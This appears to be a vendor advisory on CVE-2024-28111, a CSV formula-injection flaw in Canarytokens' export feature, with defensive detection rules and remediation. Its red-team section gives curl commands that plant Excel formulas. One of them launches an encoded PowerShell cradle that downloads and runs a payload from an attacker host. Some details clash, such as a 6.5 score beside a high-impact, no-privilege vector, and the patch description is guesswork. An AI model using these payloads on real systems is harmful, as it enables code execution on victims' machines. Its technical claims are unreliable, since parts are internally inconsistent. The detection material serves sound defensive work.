CVE-2024-28111

Executive Summary

CVE-2024-28111 is a CSV Injection vulnerability (CWE-1236) affecting Canarytokens, a network deception and threat detection tool. The vulnerability resides in the CSV export functionality of the Canarytokens web interface. When a user exports the incident history of an HTTP-based Canarytoken to CSV format, the generated file is not sanitized against formula injection. An attacker who discovers an active HTTP Canarytoken can craft a malicious payload (e.g., a formula starting with =, +, -, or @) within the token's incident data. When the token owner exports the history and opens the CSV in a spreadsheet application like Microsoft Excel, the payload executes, potentially leading to arbitrary code execution on the victim's machine. The CVSS score is 6.5 (Medium), but the actual impact can be high due to the potential for code execution. The fix is available in commit sha-c595a1f8.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a web application vulnerability in the Canarytokens project itself.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) - The attacker can trigger the vulnerability remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - The attacker does not need authentication.
• User Interaction (UI): Required (R) - The victim must export the CSV and open it in a vulnerable application.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Code execution can lead to data exfiltration.
• Integrity (I): High (H) - Code execution can modify data.
• Availability (A): High (H) - Code execution can disrupt operations.

Threat Level: High. While the CVSS score is Medium, the potential for code execution on the victim's machine elevates the risk. The attack requires user interaction, but the attacker can craft a convincing lure.

Deep Dive & Mechanics

The vulnerability is a classic CSV Injection (also known as Formula Injection). The Canarytokens web application generates CSV files containing incident data (e.g., timestamp, IP address, user agent). The application does not sanitize the data before writing it to the CSV file. If an attacker can control any field that ends up in the CSV (such as the User-Agent string or a custom field), they can inject a malicious formula.

Attack Flow:

1. Discovery: The attacker discovers an HTTP Canarytoken (e.g., a URL like http://example.com/canarytoken/abc123).
2. Trigger: The attacker sends a crafted HTTP request to the Canarytoken URL. The request includes a malicious payload in a field that will be logged (e.g., User-Agent: =cmd|' /C calc'!A0).
3. Export: The Canarytoken owner (victim) logs into the Canarytokens web interface and exports the incident history for that token as a CSV file.
4. Execution: The victim opens the CSV file in Microsoft Excel (or LibreOffice Calc). Excel interprets the = sign as a formula and executes the cmd command, launching the calculator (or a more malicious payload).

Key Technical Details:

• The vulnerability is in the CSV generation code, not in the token detection itself.
• The fix (sha-c595a1f8) likely involves escaping or prefixing cells that start with special characters (=, +, -, @) with a single quote or tab to prevent formula interpretation.
• The attack is blind from the attacker's perspective; they cannot directly see the result of the formula execution unless they have a callback mechanism.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable CSV generation
def generate_csv(incidents):
    import csv
    import io
    output = io.StringIO()
    writer = csv.writer(output)
    writer.writerow(["Timestamp", "IP", "User-Agent"])
    for incident in incidents:
        writer.writerow([incident.timestamp, incident.ip, incident.user_agent])
    return output.getvalue()

Patched Code (Conceptual):

# Patched CSV generation
def generate_csv(incidents):
    import csv
    import io
    output = io.StringIO()
    writer = csv.writer(output)
    writer.writerow(["Timestamp", "IP", "User-Agent"])
    for incident in incidents:
        # Sanitize fields to prevent formula injection
        sanitized_ua = sanitize_csv_field(incident.user_agent)
        sanitized_ip = sanitize_csv_field(incident.ip)
        writer.writerow([incident.timestamp, sanitized_ip, sanitized_ua])
    return output.getvalue()

def sanitize_csv_field(value):
    # Prefix with a single quote to prevent formula interpretation
    if value and value[0] in ('=', '+', '-', '@'):
        return "'" + value
    return value

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Canarytokens instance (version prior to sha-c595a1f8).
2. Create an HTTP Canarytoken.
3. Use a tool like curl to trigger the token with a malicious payload.

Exploit Payload:

# Trigger the Canarytoken with a malicious User-Agent
curl -X GET "http://victim-canarytoken-server/canarytoken/abc123" \
  -H "User-Agent: =cmd|' /C calc.exe'!A0"

Advanced Payload (PowerShell reverse shell):

curl -X GET "http://victim-canarytoken-server/canarytoken/abc123" \
  -H "User-Agent: =cmd|' /C powershell -NoP -NonI -W Hidden -Exec Bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC8AcABhAHkAbABvAGEAZAAnACkA'!A0"

Exploit Notes:

• The payload must be URL-encoded if sent via HTTP headers.
• The formula =cmd|' /C calc.exe'!A0 works in Excel. For LibreOffice, use =SHELL("calc.exe").
• The attacker must know the Canarytoken URL.

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests to Canarytoken URLs that contain suspicious User-Agent strings (e.g., starting with =, +, -, @).
• Monitor for CSV files being opened on endpoints, especially if they originate from a Canarytokens web interface.
• Use endpoint detection and response (EDR) to detect process creation from Excel (e.g., cmd.exe or powershell.exe spawned by EXCEL.EXE).

Prevention:

• Apply the patch (sha-c595a1f8) immediately.
• Educate users to not open CSV files from untrusted sources.
• Use a CSV viewer that does not interpret formulas (e.g., Notepad++).
• Implement Content Security Policy (CSP) headers on the Canarytokens web interface.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to Canarytoken URLs with User-Agent strings starting with =, +, -, or @.
  • Outbound connections from Excel to attacker-controlled servers (if using a download cradle).
• File IOCs:
  • CSV files containing cells starting with =, +, -, or @.
  • CSV files with suspicious formulas like =cmd|, =SHELL(, =EXEC(, =DDE(, =HYPERLINK(.
• Process IOCs:
  • EXCEL.EXE spawning cmd.exe, powershell.exe, wscript.exe, or cscript.exe.
  • EXCEL.EXE making outbound network connections.

Detection Engineering

YARA Rule

rule CVE_2024_28111_CSV_Injection {
    meta:
        description = "Detects CSV files with potential formula injection indicators"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-28111"
    strings:
        $formula1 = "=cmd|"
        $formula2 = "=SHELL("
        $formula3 = "=EXEC("
        $formula4 = "=DDE("
        $formula5 = "=HYPERLINK("
        $formula6 = "+cmd|"
        $formula7 = "-cmd|"
        $formula8 = "@cmd|"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-28111 - CSV Injection via Canarytokens
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious User-Agent strings targeting Canarytokens
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "canarytoken"
        cs(User-Agent)|contains|all:
            - '='
            - 'cmd'
    condition: selection
falsepositives:
    - Legitimate use of equals sign in User-Agent
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28111 - Canarytokens CSV Injection Attempt"; flow:to_server; content:"canarytoken"; http_uri; content:"User-Agent|3a|"; http_header; pcre:"/^User-Agent\x3a\x20[=+\-@].*cmd/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Canarytokens to commit sha-c595a1f8 or later.
2. Workaround: If patching is not possible, disable the CSV export feature or implement a reverse proxy that sanitizes CSV output.
3. User Education: Warn users to not open CSV files from Canarytokens in Excel. Use a text editor or a secure CSV viewer.

Long-Term Fixes:

• Implement input sanitization for all fields that are exported to CSV.
• Use a library that automatically escapes formula injection characters (e.g., csv.writer with a custom dialect).
• Consider using a different export format (e.g., JSON) that is not vulnerable to formula injection.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Monitor for anomalous process creation from Excel.
• Implement a SIEM alert for the Sigma rule.

Valters IT